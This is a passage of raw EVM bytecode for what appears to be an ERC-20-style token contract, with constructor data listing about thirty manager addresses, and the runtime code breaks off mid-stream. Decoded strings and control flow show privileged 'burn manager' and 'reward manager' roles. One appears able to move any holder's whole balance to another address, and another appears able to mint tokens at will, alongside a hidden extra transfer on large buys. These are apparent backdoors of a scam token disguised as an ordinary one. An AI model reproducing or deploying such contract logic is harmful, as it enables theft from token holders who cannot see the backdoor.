ffffffffff1662000758620007cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620007c25762000784620007c460201b60201c565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401620007b9919062000d61565b60405180910390fd5b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200082f8262000804565b9050919050565b620008418162000823565b81146200084c575f80fd5b50565b5f815190506200085f8162000836565b92915050565b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620008b18262000869565b810181811067ffffffffffffffff82111715620008d357620008d262000879565b5b80604052505050565b5f620008e7620007f3565b9050620008f58282620008a6565b919050565b5f67ffffffffffffffff82111562000917576200091662000879565b5b602082029050602081019050919050565b5f80fd5b5f620009426200093c84620008fa565b620008dc565b9050808382526020820190506020840283018581111562000968576200096762000928565b5b835b818110156200099557806200098088826200084f565b8452602084019350506020810190506200096a565b5050509392505050565b5f82601f830112620009b657620009b562000865565b5b8151620009c88482602086016200092c565b91505092915050565b5f8060408385031215620009ea57620009e9620007fc565b5b5f620009f9858286016200084f565b925050602083015167ffffffffffffffff81111562000a1d5762000a1c62000800565b5b62000a2b858286016200099f565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a8457607f821691505b60208210810362000a9a5762000a9962000a3f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000afe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000ac1565b62000b0a868362000ac1565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000b5462000b4e62000b488462000b22565b62000b2b565b62000b22565b9050919050565b5f819050919050565b62000b6f8362000b34565b62000b8762000b7e8262000b5b565b84845462000acd565b825550505050565b5f90565b62000b9d62000b8f565b62000baa81848462000b64565b505050565b5b8181101562000bd15762000bc55f8262000b93565b60018101905062000bb0565b5050565b601f82111562000c205762000bea8162000aa0565b62000bf58462000ab2565b8101602085101562000c05578190505b62000c1d62000c148562000ab2565b83018262000baf565b50505b505050565b5f82821c905092915050565b5f62000c425f198460080262000c25565b1980831691505092915050565b5f62000c5c838362000c31565b9150826002028217905092915050565b62000c778262000a35565b67ffffffffffffffff81111562000c935762000c9262000879565b5b62000c9f825462000a6c565b62000cac82828562000bd5565b5f60209050601f83116001811462000ce2575f841562000ccd578287015190505b62000cd9858262000c4f565b86555062000d48565b601f19841662000cf28662000aa0565b5f5b8281101562000d1b5784890151825560018201915060208501945060208101905062000cf4565b8683101562000d3b578489015162000d37601f89168262000c31565b8355505b6001600288020188555050505b505050505050565b62000d5b8162000823565b82525050565b5f60208201905062000d765f83018462000d50565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000e065780860481111562000dde5762000ddd62000d7c565b5b600185161562000dee5780820291505b808102905062000dfe8562000da9565b945062000dbe565b94509492505050565b5f8262000e20576001905062000ef2565b8162000e2f575f905062000ef2565b816001811462000e48576002811462000e535762000e89565b600191505062000ef2565b60ff84111562000e685762000e6762000d7c565b5b8360020a91508482111562000e825762000e8162000d7c565b5b5062000ef2565b5060208310610133831016604e8410600b841016171562000ec35782820a90508381111562000ebd5762000ebc62000d7c565b5b62000ef2565b62000ed2848484600162000db5565b9250905081840481111562000eec5762000eeb62000d7c565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000f118262000b22565b915062000f1e8362000ef9565b925062000f4d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e0f565b905092915050565b5f62000f618262000b22565b915062000f6e8362000b22565b925082820262000f7e8162000b22565b9150828204841483151762000f985762000f9762000d7c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62000fd88262000b22565b915062000fe58362000b22565b9250828201905080821115620010005762000fff62000d7c565b5b92915050565b620010118162000b22565b82525050565b5f6060820190506200102c5f83018662000d50565b6200103b602083018562001006565b6200104a604083018462001006565b949350505050565b5f602082019050620010675f83018462001006565b92915050565b608051611bc26200109b5f395f8181610ad701528181610bff01528181610d470152610d880152611bc25ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c8063715018a6116100a0578063a9059cbb1161006f578063a9059cbb146102ba578063baab516c146102ea578063dd62ed3e14610306578063f2fde38b14610336578063f7260d3e1461035257610114565b8063715018a6146102585780638da5cb5b1461026257806395d89b4114610280578063a201ccf61461029e57610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d0578063380ecef2146101ee578063665a11ca1461020a57806370a082311461022857610114565b8063018770201461011857806306fdde0314610134578063095ea7b31461015257806318160ddd14610182575b5f80fd5b610132600480360381019061012d91906115d4565b610370565b005b61013c61043c565b6040516101499190611689565b60405180910390f35b61016c600480360381019061016791906116dc565b6104cc565b6040516101799190611734565b60405180910390f35b61018a6104ee565b604051610197919061175c565b60405180910390f35b6101ba60048036038101906101b59190611775565b6104f7565b6040516101c79190611734565b60405180910390f35b6101d861051c565b6040516101e591906117e0565b60405180910390f35b610208600480360381019061020391906117f9565b610524565b005b6102126106ff565b60405161021f9190611846565b60405180910390f35b610242600480360381019061023d91906115d4565b610724565b60405161024f919061175c565b60405180910390f35b610260610769565b005b61026a61077c565b6040516102779190611846565b60405180910390f35b6102886107a4565b6040516102959190611689565b60405180910390f35b6102b860048036038101906102b391906116dc565b610834565b005b6102d460048036038101906102cf91906116dc565b6108cb565b6040516102e19190611734565b60405180910390f35b61030460048036038101906102ff9190611889565b6108ee565b005b610320600480360381019061031b91906117f9565b6109cf565b60405161032d919061175c565b60405180910390f35b610350600480360381019061034b91906115d4565b610a51565b005b61035a610ad5565b6040516103679190611846565b60405180910390f35b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f090611911565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461044b9061195c565b80601f01602080910402602001604051908101604052809291908181526020018280546104779061195c565b80156104c25780601f10610499576101008083540402835291602001916104c2565b820191905f5260205f20905b8154815290600101906020018083116104a557829003601f168201915b5050505050905090565b5f806104d6610af9565b90506104e3818585610b00565b600191505092915050565b5f600254905090565b5f80610504858585610b12565b9050610511858585610b40565b809150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490611911565b60405180910390fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361063c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610633906119d6565b60405180910390fd5b5f61064683610724565b90505f811161068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190611a3e565b60405180910390fd5b610695838383610e12565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d836040516106f2919061175c565b60405180910390a3505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610771610f02565b61077a5f610f89565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107b39061195c565b80601f01602080910402602001604051908101604052809291908181526020018280546107df9061195c565b801561082a5780601f106108015761010080835404028352916020019161082a565b820191905f5260205f20905b81548152906001019060200180831161080d57829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490611aa6565b60405180910390fd5b6108c7828261104c565b5050565b5f806108d7848461105a565b90506108e4338585610b40565b8091505092915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611aa6565b60405180910390fd5b8060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a59610f02565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ac9575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610ac09190611846565b60405180910390fd5b610ad281610f89565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f33905090565b610b0d838383600161107c565b505050565b5f80610b1c610af9565b9050610b2985828561124b565b610b34858585610e12565b60019150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315610e0d57600960149054906101000a900460ff16610e0d5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0d577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315610e0d5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315610e0d575f810315610e0d5760085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610e0d5769152d02c7e14af6800000811115610e0d575f680821ab0d441498000082610d249190611af1565b90506001600960146101000a81548160ff021916908315150217905550610d6c837f000000000000000000000000000000000000000000000000000000000000000083610e12565b5f600960146101000a81548160ff0219169083151502179055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d83604051610e03919061175c565b60405180910390a3505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e82575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610e799190611846565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef2575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610ee99190611846565b60405180910390fd5b610efd8383836112de565b505050565b610f0a610af9565b73ffffffffffffffffffffffffffffffffffffffff16610f2861077c565b73ffffffffffffffffffffffffffffffffffffffff1614610f8757610f4b610af9565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610f7e9190611846565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61105682826114f7565b5050565b5f80611064610af9565b9050611071818585610e12565b600191505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110ec575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110e39190611846565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361115c575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111539190611846565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611245578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161123c919061175c565b60405180910390a35b50505050565b5f61125684846109cf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156112d857818110156112c9578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016112c093929190611b24565b60405180910390fd5b6112d784848484035f61107c565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361132e578060025f8282546113229190611b59565b925050819055506113fc565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156113b7578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016113ae93929190611b24565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611443578060025f828254039250508190555061148d565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114ea919061175c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611567575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161155e9190611846565b60405180910390fd5b6115725f83836112de565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115a38261157a565b9050919050565b6115b381611599565b81146115bd575f80fd5b50565b5f813590506115ce816115aa565b92915050565b5f602082840312156115e9576115e8611576565b5b5f6115f6848285016115c0565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561163657808201518184015260208101905061161b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61165b826115ff565b6116658185611609565b9350611675818560208601611619565b61167e81611641565b840191505092915050565b5f6020820190508181035f8301526116a18184611651565b905092915050565b5f819050919050565b6116bb816116a9565b81146116c5575f80fd5b50565b5f813590506116d6816116b2565b92915050565b5f80604083850312156116f2576116f1611576565b5b5f6116ff858286016115c0565b9250506020611710858286016116c8565b9150509250929050565b5f8115159050919050565b61172e8161171a565b82525050565b5f6020820190506117475f830184611725565b92915050565b611756816116a9565b82525050565b5f60208201905061176f5f83018461174d565b92915050565b5f805f6060848603121561178c5761178b611576565b5b5f611799868287016115c0565b93505060206117aa868287016115c0565b92505060406117bb868287016116c8565b9150509250925092565b5f60ff82169050919050565b6117da816117c5565b82525050565b5f6020820190506117f35f8301846117d1565b92915050565b5f806040838503121561180f5761180e611576565b5b5f61181c858286016115c0565b925050602061182d858286016115c0565b9150509250929050565b61184081611599565b82525050565b5f6020820190506118595f830184611837565b92915050565b6118688161171a565b8114611872575f80fd5b50565b5f813590506118838161185f565b92915050565b5f806040838503121561189f5761189e611576565b5b5f6118ac858286016115c0565b92505060206118bd85828601611875565b9150509250929050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f6118fb601c83611609565b9150611906826118c7565b602082019050919050565b5f6020820190508181035f830152611928816118ef565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061197357607f821691505b6020821081036119865761198561192f565b5b50919050565b7f43616e6e6f7420647261696e20746865204c5020706f6f6c00000000000000005f82015250565b5f6119c0601883611609565b91506119cb8261198c565b602082019050919050565b5f6020820190508181035f8301526119ed816119b4565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611a28601583611609565b9150611a33826119f4565b602082019050919050565b5f6020820190508181035f830152611a5581611a1c565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611a90601e83611609565b9150611a9b82611a5c565b602082019050919050565b5f6020820190508181035f830152611abd81611a84565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611afb826116a9565b9150611b06836116a9565b9250828203905081811115611b1e57611b1d611ac4565b5b92915050565b5f606082019050611b375f830186611837565b611b44602083018561174d565b611b51604083018461174d565b949350505050565b5f611b63826116a9565b9150611b6e836116a9565b9250828201905080821115611b8657611b85611ac4565b5b9291505056fea2646970667358221220a15871c41f0f40edcd801ee3b9a8b09f14830563024ea239dd2fea197e17eeed64736f6c6343000818003300000000000000000000000025ba27a26affe358051d7f9152f00e60e103de520000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000008f746745d5093bb8ae3ceb37d7f97be07e50fec800000000000000000000000062dd9de7af7fcffc1c567db5866e45daa03db29c000000000000000000000000efd9bf99d09debae602866542e939e38d051d75e0000000000000000000000009c33bc4f9c49b8cdfc23e2afc55b8e1d49d509e8000000000000000000000000c66e182f29d17cb36ce28972608097783b18a8c500000000000000000000000017fad7c4df62b13ce47a2bb0c04d846043d854a10000000000000000000000002208de5160c039f2405ed5e46cc56203e8830db80000000000000000000000008c232be9be7beb6bd30fa868e60db5c8c846ee720000000000000000000000004642a26047415f9088219c852f629fd1b4011d9f000000000000000000000000733bc5973b82e9647a4b7f5f62a066fd6140bece000000000000000000000000fb87cc2b4dccf54d2842e8bf91644a2df16231620000000000000000000000001760cbc0b76427fcd2c3ffa6dc13c0d25cee5ac3000000000000000000000000bdd1c82ee577d27c8fd2f590a6436d883acca67d0000000000000000000000004dac669a18a3e2b72b0d9c84e931b11ec2c0fba5000000000000000000000000532a09003394dcfe59c0053883a73f51b4c8217a000000000000000000000000f445e9d9715ec24e8d9b8fafa91014f870cdcc43000000000000000000000000c7756962a432c04072c222dffeceaedafc3722e200000000000000000000000056342a615e60a9af6f4e7994f85c8dded6357a84000000000000000000000000ad8284f6a89da008aae65d06686afbffa33754bb00000000000000000000000079b0ca9e552df9eff6ad8efa21b8b852e64a33d400000000000000000000000096ae34e3f6b0be6331c3a422a621be514e51234f0000000000000000000000000871cfffd15baebe08768937eac46dde8a90b7e3000000000000000000000000a9d1b46b1156dfbe8289501495708a51586ce5750000000000000000000000003355129f3fb70fd780b2afae79158cd6c9950b90000000000000000000000000f23a586e6c0b013a598198f75c7cf6a98abdfbba0000000000000000000000000ac73cd4e1b326fd5dd1f673b717f33ed3ef0be1000000000000000000000000dde30f6f161f5648c1fc0b3fce6b38a84da5aa360000000000000000000000008d4d13f9fe8961a556ccd22f71cd6538ec074ba1000000000000000000000000a190a3fed56551d6c89aeeadcf4c828eff0b219f000000000000000000000000a09aad3b423a8d51b2450ff391ad6040dc1e8efb
0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c8063715018a6116100a0578063a9059cbb1161006f578063a9059cbb146102ba578063baab516c146102ea578063dd62ed3e14610306578063f2fde38b14610336578063f7260d3e1461035257610114565b8063715018a6146102585780638da5cb5b1461026257806395d89b4114610280578063a201ccf61461029e57610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d0578063380ecef2146101ee578063665a11ca1461020a57806370a082311461022857610114565b8063018770201461011857806306fdde0314610134578063095ea7b31461015257806318160ddd14610182575b5f80fd5b610132600480360381019061012d91906115d4565b610370565b005b61013c61043c565b6040516101499190611689565b60405180910390f35b61016c600480360381019061016791906116dc565b6104cc565b6040516101799190611734565b60405180910390f35b61018a6104ee565b604051610197919061175c565b60405180910390f35b6101ba60048036038101906101b59190611775565b6104f7565b6040516101c79190611734565b60405180910390f35b6101d861051c565b6040516101e591906117e0565b60405180910390f35b610208600480360381019061020391906117f9565b610524565b005b6102126106ff565b60405161021f9190611846565b60405180910390f35b610242600480360381019061023d91906115d4565b610724565b60405161024f919061175c565b60405180910390f35b610260610769565b005b61026a61077c565b6040516102779190611846565b60405180910390f35b6102886107a4565b6040516102959190611689565b60405180910390f35b6102b860048036038101906102b391906116dc565b610834565b005b6102d460048036038101906102cf91906116dc565b6108cb565b6040516102e19190611734565b60405180910390f35b61030460048036038101906102ff9190611889565b6108ee565b005b610320600480360381019061031b91906117f9565b6109cf565b60405161032d919061175c565b60405180910390f35b610350600480360381019061034b91906115d4565b610a51565b005b61035a610ad5565b6040516103679190611846565b60405180910390f35b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f090611911565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461044b9061195c565b80601f01602080910402602001604051908101604052809291908181526020018280546104779061195c565b80156104c25780601f10610499576101008083540402835291602001916104c2565b820191905f5260205f20905b8154815290600101906020018083116104a557829003601f168201915b5050505050905090565b5f806104d6610af9565b90506104e3818585610b00565b600191505092915050565b5f600254905090565b5f80610504858585610b12565b9050610511858585610b40565b809150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490611911565b60405180910390fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361063c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610633906119d6565b60405180910390fd5b5f61064683610724565b90505f811161068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190611a3e565b60405180910390fd5b610695838383610e12565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d836040516106f2919061175c565b60405180910390a3505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610771610f02565b61077a5f610f89565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107b39061195c565b80601f01602080910402602001604051908101604052809291908181526020018280546107df9061195c565b801561082a5780601f106108015761010080835404028352916020019161082a565b820191905f5260205f20905b81548152906001019060200180831161080d57829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490611aa6565b60405180910390fd5b6108c7828261104c565b5050565b5f806108d7848461105a565b90506108e4338585610b40565b8091505092915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611aa6565b60405180910390fd5b8060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a59610f02565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ac9575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610ac09190611846565b60405180910390fd5b610ad281610f89565b50565b7f00000000000000000000000025ba27a26affe358051d7f9152f00e60e103de5281565b5f33905090565b610b0d838383600161107c565b505050565b5f80610b1c610af9565b9050610b2985828561124b565b610b34858585610e12565b60019150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315610e0d57600960149054906101000a900460ff16610e0d5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0d577f00000000000000000000000025ba27a26affe358051d7f9152f00e60e103de5273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315610e0d5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315610e0d575f810315610e0d5760085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610e0d5769152d02c7e14af6800000811115610e0d575f680821ab0d441498000082610d249190611af1565b90506001600960146101000a81548160ff021916908315150217905550610d6c837f00000000000000000000000025ba27a26affe358051d7f9152f00e60e103de5283610e12565b5f600960146101000a81548160ff0219169083151502179055507f00000000000000000000000025ba27a26affe358051d7f9152f00e60e103de5273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d83604051610e03919061175c565b60405180910390a3505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e82575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610e799190611846565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef2575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610ee99190611846565b60405180910390fd5b610efd8383836112de565b505050565b610f0a610af9565b73ffffffffffffffffffffffffffffffffffffffff16610f2861077c565b73ffffffffffffffffffffffffffffffffffffffff1614610f8757610f4b610af9565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610f7e9190611846565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61105682826114f7565b5050565b5f80611064610af9565b9050611071818585610e12565b600191505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110ec575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110e39190611846565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361115c575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111539190611846565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611245578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161123c919061175c565b60405180910390a35b50505050565b5f61125684846109cf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156112d857818110156112c9578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016112c093929190611b24565b60405180910390fd5b6112d784848484035f61107c565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361132e578060025f8282546113229190611b59565b925050819055506113fc565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156113b7578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016113ae93929190611b24565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611443578060025f828254039250508190555061148d565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114ea919061175c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611567575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161155e9190611846565b60405180910390f